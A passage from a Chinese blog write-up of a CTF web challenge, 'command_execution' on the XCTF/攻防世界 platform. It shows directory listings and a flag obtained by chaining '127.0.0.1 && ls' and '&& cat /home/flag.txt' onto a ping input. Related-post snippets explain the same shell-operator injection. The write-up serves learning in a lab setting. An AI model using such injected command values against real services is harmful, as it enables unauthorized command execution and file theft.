drwxr-xr-x 1 root root      4096 Oct 19  2018 .
drwxr-xr-x 1 root root      4096 Aug  9 05:06 ..
-rwxr-xr-x 1 root root     52466 Mar 27  2017 MAKEDEV
-rwxr-xr-x 2 root root     32112 Nov 23  2016 agetty
-rwxr-xr-x 1 root root     27160 Sep  9  2015 badblocks
-rwxr-xr-x 1 root root     31544 Nov 23  2016 blkid
-rwxr-xr-x 1 root root     23016 Nov 23  2016 blockdev
-rwxr-xr-x 1 root root     51768 Dec  6  2017 bridge
-rwxr-xr-x 1 root root     18976 Feb 21  2014 capsh
-rwxr-xr-x 1 root root     54368 Nov 23  2016 cfdisk
-rwxr-xr-x 1 root root      6288 Nov 23  2016 ctrlaltdel
-rwxr-xr-x 1 root root    116672 Sep  9  2015 debugfs
lrwxrwxrwx 1 root root         9 Apr 11  2018 depmod -> /bin/kmod
-rwxr-xr-x 1 root root   1668160 Mar  5  2018 dhclient
-rwxr-xr-x 1 root root     15716 Mar  5  2018 dhclient-script
-rwxr-xr-x 1 root root     71592 Dec 13  2013 dmsetup
-rwxr-xr-x 1 root root     23072 Sep  9  2015 dumpe2fs
-rwxr-xr-x 1 root root    248408 Sep  9  2015 e2fsck
-rwxr-xr-x 1 root root     31432 Sep  9  2015 e2image
lrwxrwxrwx 1 root root         7 Sep  9  2015 e2label -> tune2fs
-rwxr-xr-x 1 root root     10592 Sep  9  2015 e2undo
-rwxr-xr-x 1 root root     99488 Nov 23  2016 fdisk
-rwxr-xr-x 1 root root      6304 Nov 23  2016 findfs
-rwxr-xr-x 1 root root     31608 Nov 23  2016 fsck
-rwxr-xr-x 1 root root     14640 Nov 23  2016 fsck.cramfs
lrwxrwxrwx 1 root root         6 Sep  9  2015 fsck.ext2 -> e2fsck
lrwxrwxrwx 1 root root         6 Sep  9  2015 fsck.ext3 -> e2fsck
lrwxrwxrwx 1 root root         6 Sep  9  2015 fsck.ext4 -> e2fsck
lrwxrwxrwx 1 root root         6 Sep  9  2015 fsck.ext4dev -> e2fsck
-rwxr-xr-x 1 root root     31200 Nov 23  2016 fsck.minix
-rwxr-xr-x 1 root root       333 Feb 17  2016 fsck.nfs
-rwxr-xr-x 1 root root     10440 Nov 23  2016 fsfreeze
-rwxr-xr-x 1 root root      6304 Feb 17  2016 fstab-decode
-rwxr-xr-x 1 root root     14616 Nov 23  2016 fstrim
-rwxr-xr-x 1 root root      3002 Nov 23  2016 fstrim-all
-rwxr-xr-x 1 root root     10456 Feb 21  2014 getcap
-rwxr-xr-x 1 root root      6328 Feb 21  2014 getpcaps
-rwxr-xr-x 2 root root     32112 Nov 23  2016 getty
lrwxrwxrwx 1 root root         6 Jul 18  2014 halt -> reboot
-rwxr-xr-x 1 root root     35384 Nov 23  2016 hwclock
-rwxr-xr-x 1 root root     68040 Aug  5  2014 ifconfig
lrwxrwxrwx 1 root root         4 May 10  2018 ifdown -> ifup
lrwxrwxrwx 1 root root         4 May 10  2018 ifquery -> ifup
-rwxr-xr-x 1 root root     67120 May 10  2018 ifup
-rwxr-xr-x 1 root root    265848 Jul 18  2014 init
-rwxr-xr-x 1 root root        17 Oct 19  2018 initctl
-rwxr-xr-x 1 root root    193512 Jul 18  2014 initctl.distrib
lrwxrwxrwx 1 root root         9 Apr 11  2018 insmod -> /bin/kmod
-rwxr-xr-x 1 root root      2382 Aug 28  2013 installkernel
lrwxrwxrwx 1 root root         7 Dec  6  2017 ip -> /bin/ip
-rwxr-xr-x 1 root root     18760 Aug  5  2014 ipmaddr
-rwxr-xr-x 1 root root     22864 Aug  5  2014 iptunnel
-rwxr-xr-x 1 root root     14616 Nov 23  2016 isosize
-rwxr-xr-x 1 root root     10552 Feb 18  2013 kbdrate
-rwxr-xr-x 1 root root     18992 Feb 17  2016 killall5
-rwxr-xr-x 1 root root       387 Jan 15  2018 ldconfig
-rwxr-xr-x 1 root root    951888 Jan 15  2018 ldconfig.real
-rwxr-xr-x 1 root root     10544 Sep  9  2015 logsave
-rwxr-xr-x 1 root root     43584 Nov 23  2016 losetup
lrwxrwxrwx 1 root root         9 Apr 11  2018 lsmod -> /bin/kmod
-rwxr-xr-x 1 root root     19264 Aug  5  2014 mii-tool
-rwxr-xr-x 1 root root     97944 Sep  9  2015 mke2fs
-rwxr-xr-x 1 root root     10440 Nov 23  2016 mkfs
-rwxr-xr-x 1 root root     18736 Nov 23  2016 mkfs.bfs
-rwxr-xr-x 1 root root     31216 Nov 23  2016 mkfs.cramfs
lrwxrwxrwx 1 root root         6 Sep  9  2015 mkfs.ext2 -> mke2fs
lrwxrwxrwx 1 root root         6 Sep  9  2015 mkfs.ext3 -> mke2fs
lrwxrwxrwx 1 root root         6 Sep  9  2015 mkfs.ext4 -> mke2fs
lrwxrwxrwx 1 root root         6 Sep  9  2015 mkfs.ext4dev -> mke2fs
-rwxr-xr-x 1 root root     27144 Nov 23  2016 mkfs.minix
-rwxr-xr-x 1 root root     18784 Mar 16  2016 mkhomedir_helper
-rwxr-xr-x 1 root root     23112 Nov 23  2016 mkswap
-rwxr-xr-x 1 root root     31112 Feb 22  2014 mntctl
lrwxrwxrwx 1 root root         9 Apr 11  2018 modinfo -> /bin/kmod
lrwxrwxrwx 1 root root         9 Apr 11  2018 modprobe -> /bin/kmod
-rwxr-xr-x 1 root root    104968 Feb 22  2014 mountall
-rwxr-xr-x 1 root root     14816 Aug  5  2014 nameif
-rwxr-xr-x 1 root root     10544 Mar 16  2016 pam_tally
-rwxr-xr-x 1 root root     14728 Mar 16  2016 pam_tally2
-rwxr-xr-x 1 root root      6240 Nov 23  2016 pivot_root
-rwxr-xr-x 1 root root     10448 Aug  5  2014 plipconfig
-rwxr-xr-x 1 root root     81632 May  9  2018 plymouthd
lrwxrwxrwx 1 root root         6 Jul 18  2014 poweroff -> reboot
-rwxr-xr-x 1 root root     29800 Aug  5  2014 rarp
-rwxr-xr-x 1 root root     10424 Nov 23  2016 raw
-rwxr-xr-x 1 root root     14784 Jul 18  2014 reboot
lrwxrwxrwx 1 root root         7 Jul 18  2014 reload -> initctl
-rwxr-xr-x 1 root root     48160 Sep  9  2015 resize2fs
-rwxr-xr-x 1 root root      5630 Nov 29  2017 resolvconf
lrwxrwxrwx 1 root root         7 Jul 18  2014 restart -> initctl
lrwxrwxrwx 1 root root         9 Apr 11  2018 rmmod -> /bin/kmod
-rwxr-xr-x 1 root root     58032 Aug  5  2014 route
-rwxr-xr-x 1 root root     35344 Dec  6  2017 rtacct
-rwxr-xr-x 1 root root     35256 Dec  6  2017 rtmon
-rwxr-xr-x 1 root root     10240 Jul 18  2014 runlevel
-rwxr-xr-x 1 root root     10488 Feb 21  2014 setcap
-rwxr-xr-x 1 root root     10600 Feb 18  2013 setvtrgb
-rwxr-xr-x 1 root root     61856 Nov 23  2016 sfdisk
-rwxr-xr-x 1 root root       885 May 16  2017 shadowconfig
-rwxr-xr-x 1 root root     84904 Jul 18  2014 shutdown
-rwxr-xr-x 1 root root     33928 Aug  5  2014 slattach
lrwxrwxrwx 1 root root         7 Jul 18  2014 start -> initctl
-rwxr-xr-x 1 root root     28200 Mar  6  2018 start-stop-daemon
-rwxr-xr-x 1 root root     35768 Feb 17  2016 startpar
-rwxr-xr-x 1 root root      6328 Feb 17  2016 startpar-upstart-inject
lrwxrwxrwx 1 root root         7 Jul 18  2014 status -> initctl
lrwxrwxrwx 1 root root         7 Jul 18  2014 stop -> initctl
-rwxr-xr-x 1 root root     14904 Feb 17  2016 sulogin
-rwxr-xr-x 1 root root     14664 Nov 23  2016 swaplabel
lrwxrwxrwx 1 root root         6 Nov 23  2016 swapoff -> swapon
-rwxr-xr-x 1 root root     27240 Nov 23  2016 swapon
-rwxr-xr-x 1 root root     10544 Nov 23  2016 switch_root
-rwxr-xr-x 1 root root     22992 May 14  2018 sysctl
-rwxr-xr-x 1 root root    282024 Dec  6  2017 tc
-rwxr-xr-x 1 root root    104728 Jul 18  2014 telinit
-rwxr-xr-x 1 root root     68952 Sep  9  2015 tune2fs
lrwxrwxrwx 1 root root        12 Apr 12  2018 udevadm -> /bin/udevadm
lrwxrwxrwx 1 root root        26 Apr 12  2018 udevd -> /lib/systemd/systemd-udevd
-rwxr-sr-x 1 root shadow   35536 Mar 16  2016 unix_chkpwd
-rwxr-xr-x 1 root root     31376 Mar 16  2016 unix_update
-rwxr-xr-x 1 root root    133640 Jul 18  2014 upstart-dbus-bridge
-rwxr-xr-x 1 root root    125144 Jul 18  2014 upstart-event-bridge
-rwxr-xr-x 1 root root    141592 Jul 18  2014 upstart-file-bridge
-rwxr-xr-x 1 root root    133512 Jul 18  2014 upstart-local-bridge
-rwxr-xr-x 1 root root    133352 Jul 18  2014 upstart-socket-bridge
-rwxr-xr-x 1 root root     76040 Jul 18  2014 upstart-udev-bridge
-rwxr-xr-x 1 root root     47408 Mar 25  2013 ureadahead
-rwxr-xr-x 1 root root     18856 Nov 23  2016 wipefs

执行结果:
 127.0.0.1 && ls -al /srv
total 8
drwxr-xr-x 2 root root 4096 Sep 29  2018 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..

执行结果:
 127.0.0.1 && ls -al /sys
total 4
dr-xr-xr-x  13 root root    0 Jul  6 06:36 .
drwxr-xr-x   1 root root 4096 Aug  9 05:06 ..
drwxr-xr-x   2 root root    0 Aug  9 04:48 block
drwxr-xr-x  39 root root    0 Aug  9 04:48 bus
drwxr-xr-x  69 root root    0 Aug  9 04:48 class
drwxr-xr-x   4 root root    0 Aug  9 04:48 dev
drwxr-xr-x  15 root root    0 Aug  9 04:48 devices
drwxrwxrwt   2 root root   40 Aug  9 05:06 firmware
drwxr-xr-x  10 root root    0 Aug  9 04:48 fs
drwxr-xr-x   2 root root    0 Aug  9 04:48 hypervisor
drwxr-xr-x  13 root root    0 Aug  9 04:48 kernel
drwxr-xr-x 199 root root    0 Aug  9 04:48 module
drwxr-xr-x   2 root root    0 Aug  9 04:48 power

执行结果:
 127.0.0.1 && ls -al /tmp
total 8
drwxrwxrwt 1 root root 4096 Aug  9 05:06 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..

执行结果:
 127.0.0.1 && ls -al /usr
total 40
drwxr-xr-x 1 root root 4096 Sep 29  2018 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..
drwxr-xr-x 1 root root 4096 Nov 16  2018 bin
drwxr-xr-x 2 root root 4096 Apr 10  2014 games
drwxr-xr-x 1 root root 4096 Nov 16  2018 include
drwxr-xr-x 1 root root 4096 Nov 16  2018 lib
drwxr-xr-x 1 root root 4096 Sep 29  2018 local
drwxr-xr-x 1 root root 4096 Nov 16  2018 sbin
drwxr-xr-x 1 root root 4096 Nov 16  2018 share
drwxr-xr-x 2 root root 4096 Apr 10  2014 src

执行结果:
 127.0.0.1 && ls -al /var
total 56
drwxr-xr-x 1 root root   4096 Nov 16  2018 .
drwxr-xr-x 1 root root   4096 Aug  9 05:06 ..
drwxr-xr-x 2 root root   4096 Apr 10  2014 backups
drwxr-xr-x 1 root root   4096 Nov 16  2018 cache
drwxr-xr-x 1 root root   4096 Nov 16  2018 lib
drwxrwsr-x 2 root staff  4096 Apr 10  2014 local
lrwxrwxrwx 1 root root      9 Sep 29  2018 lock -> /run/lock
drwxrwxr-x 1 root syslog 4096 Nov 16  2018 log
drwxrwsr-x 2 root mail   4096 Sep 29  2018 mail
drwxr-xr-x 2 root root   4096 Sep 29  2018 opt
lrwxrwxrwx 1 root root      4 Sep 29  2018 run -> /run
drwxr-xr-x 5 root root   4096 Sep 29  2018 spool
drwxrwxrwt 2 root root   4096 Sep 29  2018 tmp
drwxr-xr-x 1 root root   4096 Nov 16  2018 www

定睛一看，这里似乎有我们需要的东西：

执行结果:
 127.0.0.1 && ls -al /home
total 12
drwxr-xr-x 1 root root 4096 Aug  9 05:06 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..
-rw-rw-r-- 1 root root   44 Aug  9 05:06 flag.txt

随后，我们执行抓取这个文件，看看里边有啥子：

执行结果:
 127.0.0.1 && cat /home/flag.txt
cyberpeace{cd3288ba986778ff50b13b41be6ee291}

哦吼~结束

总结

  1. 进入目标主机后，第一步工作就是查看一下磁盘中都那些东西，然后再根据文件名查看我们所关心的数据内容。
  2. WAF还是挺重要的，在本例中，执行的攻击为：代码注入攻击，还是挺有趣的，和SQL注入类似，都是拼接指令，让其执行。
  3. Kali中的WAF工具还是不会用…用Kali中的工具是否能够更加好用些一呢？
  4. No Pains，No Gains！
不喝水的鱼儿
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【网络安全 | CTF】攻防世界 command_execution 解题详析
等风来
05-21 6035
ping 命令是一个常用的网络命令，用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包，并等待目标计算机返回响应数据包来测试网络的可达性，同时也可以测试网络的延迟和丢包率等信息。本地回环地址是网络通信中的特殊地址，指向本机的网络接口，因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。如果 ping 命令不正确地处理其输入参数，就可能存在被攻击者利用来运行危险的命令的风险。2.ping+IP地址或主机域名+命令参数。3.ping+命令参数+IP地址或主机域名。
攻防世界题目练习——Web引导模式（一）
qq_48550824的博客
10-09 347
真正的检验应该只有后面判断是否为jpg/png文件，而且这个属于前端校验，就是只在前端上传页面进行检测，就算检测不通过文件也会被存储，只是会在前端将按钮灰掉不让上传，因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。（又去搜了搜别人的解析思考了一下，这个replace应该并不是针对文件后缀的过滤吧，可能只是为了便于数据处理而进行的替换，并不是对上传的文件名的限制）Referer是从某个A网站显示的B网站的链接来访问B网站时，访问B网站的请求包里的Referer就是A网站的域名。
攻防世界-web-command_execution
最新发布
MateSnake的博客
05-11 195
攻防世界-web-command_execution
command_execution(攻防世界）
m0_70819573的博客
02-22 200
command1 && command2 先执行 command1，如果为真，再执行 command2。command1 || command2 先执行 command1，如果为假，再执行 command2。command1 & command2 先执行 command2 后执行 command1。command1 | command2 只执行 command2。2.可以利用字符串拼接，需要掌握有关命令执行的知识。命令执行漏洞（| || & && 称为 管道符）
攻防世界command_execution
qq_45955869的博客
05-24 41
攻防世界command_execution提示：涉及的知识点是命令执行漏洞。记住两个命令全局查找函数 find找到文件路径，然后cat一下就好了结束。
XCTF攻防世界web新手练习_ 9_command_execution
silence1_的博客
04-29 5454
XCTF攻防世界web新手练习—command_execution 题目 题目为command_execution，是命令执行的意思，可见这道题应该跟命名执行有关。 打开题目，看到一个功能框，根据题目，是用来ping功能的。 首先先尝试ping一下127.0.0.1，成功ping通，并回显执行的命令为 ping -c 3 127.0.0.1 于是我们尝试用&&符号执行多个...
Hardware_Accelerated_Execution_Manager.zip
06-09
用以解决androidatudio虚拟机因未装haxm而无法运行的情况： 将intelhaxm-android文件放入..sdk\extras\intel\Hardware_Accelerated_Execution_Manager文件下，然后手动运行intelhaxm-android文件。
VAL2.rar_Symbolic execution_execution
09-14
《深入理解Symbolic Execution与Execution在Java环境中的应用——基于Symstra框架的C代码解析》 在计算机科学领域，符号执行（Symbolic Execution）是一种强大的软件分析技术，它能够帮助我们理解和验证程序的行为...
eager_execution_execution_eagerexecution_tensorflow_
10-04
在TensorFlow库中，Eager Execution是一种立即执行的模式，与传统的图模式（Graph Mode）形成对比。在Eager Execution模式下，TensorFlow的操作会立即评估并返回结果，无需构建计算图并单独运行它。这使得开发过程...
PHP 最大运行时间 max_execution_time修改方法
10-29
有一种简单的方法，就是在脚本中直接修改配置文件
php max_execution_time执行时间问题
10-28
$original_max_execution_time = ini_get('max_execution_time'); ini_set('max_execution_time', 0); // 设置为无限制 // 长时间运行的代码... ini_set('max_execution_time', $original_max_execution_time)...
【攻防世界-web】command_execution
weixin_73625393的博客
12-07 429
127.0.0.1是一个保留的IP地址，通常被称为本地回环地址（localhost）。这个地址指向计算机自身，也就是说，当一个应用程序尝试连接到127.0.0.1时，实际上是在尝试与本地计算机上的服务进行通信。路由器或交换机使用这个地址作为默认网关，将内部网络中的数据包转发到互联网上，同时还提供了其他网络服务，如DHCP、DNS等。1.打开场景，结合题目描述来说，这里需要填写一个网关，进行ping命令。2.在这里写的网关应该是本地网关，常用的有127.0.0.1。5.这里查看home目录下有什么文件，
攻防世界-command_execution
qq_74276395的博客
03-11 91
攻防世界-command_execution
【愚公系列】2023年05月 攻防世界-Web（command_execution）
热门推荐
时光隧道
12-25 3万+
Web安全命令执行漏洞是指攻击者能够通过输入恶意代码或字符串，将其注入到Web应用程序的输入参数中，从而使得攻击者能够远程执行系统命令或者在服务器上执行任意代码。这种漏洞往往存在于用户输入的表单、Cookies、HTTP头、URL地址等地方，并且能够被攻击者利用来获取敏感信息或者进行远程控制。因此，在开发和维护Web应用程序时，我们需要使用安全编程技术来避免这种漏洞的出现。
攻防世界 command_execution
lzu_lfl的博客
09-07 197
攻防世界 command_execution_WP
攻防世界 web command_execution
Kni9hT's Blog
03-01 3798
题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。 题目网站就是这样的，啥都没有…决定从waf下手。 WAF简介： Web应用防护系统（也称为：网站应用级入侵防御系统。英文：Web Application Firewall，简称：WAF）。利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应...
攻防世界 | command_execution WP
weixin_47982238的博客
09-13 202
题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。 首先去了解一下waf是个啥—— Web应用防护系统（也称为：网站应用级入侵防御系统。英文：Web Application Firewall，简称： WAF）。利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 按我现有的知识储备量，先ping一个本地试试，发现可以ping通（如下图） ping 127.0.0...
攻防世界: cgpwn2
qq_41071646的博客
01-02 4272
这个题 也是新手入手的题 比较简单   怎么说呢 就是一个简单的构造罢了 点进hello  然后发现  然后我们点进name   发现 name 地址是固定的 我们可以将这个写入 bin/sh 就可以了 然后看 system列表    这里可以看的出来  是有42个 字符  就可以 返回我们gets 的返回地址  然后  我们 只需要 讲system 搞进去 然后输入...
xctf-command_execution(命令执行)
烟敛寒林的博客
02-25 4666
题目地址： http://111.198.29.45:30887 主要利用hackbar进行POST注入 ls命令查看目录文件，具体用法可见： https://blog.csdn.net/dyw_666666/article/details/79184126 ls发现home目录下有flag.txt文件，然后用cat命令查看txt文件 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值